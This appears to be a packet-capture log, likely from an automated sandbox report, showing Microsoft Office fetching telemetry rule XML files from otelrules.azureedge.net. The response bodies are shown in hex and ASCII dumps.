2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164501Z-174c587ffdfcj798hC1TEB9bq400000003b000000000c25f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:01 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:01 UTC	492	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:01 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: d31556c2-101e-008e-4591-3dcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164501Z-15b8b599d889fz52hC1TEB59as000000036g000000007se5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:01 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:02 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164502Z-178bfbc474bbcwv4hC1NYCypys00000004q0000000000zy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:02 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:01 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:02 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164502Z-174c587ffdftjz9shC1TEBsh9800000002zg00000000kxnc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:02 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:02 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164502Z-15b8b599d88f9wfchC1TEBm2kc00000003b0000000008t0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:02 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:03 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:04 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164504Z-178bfbc474bp8mkvhC1NYCzqnn00000004n0000000005ea3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:04 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:03 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:04 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164504Z-178bfbc474btvfdfhC1NYCa2en00000004x00000000015m9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:04 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:03 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:04 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164504Z-174c587ffdfldtt2hC1TEBwv9c0000000340000000001xtw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:04 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:04 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164504Z-178bfbc474bh5zbqhC1NYCkdug00000004r0000000004ryn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

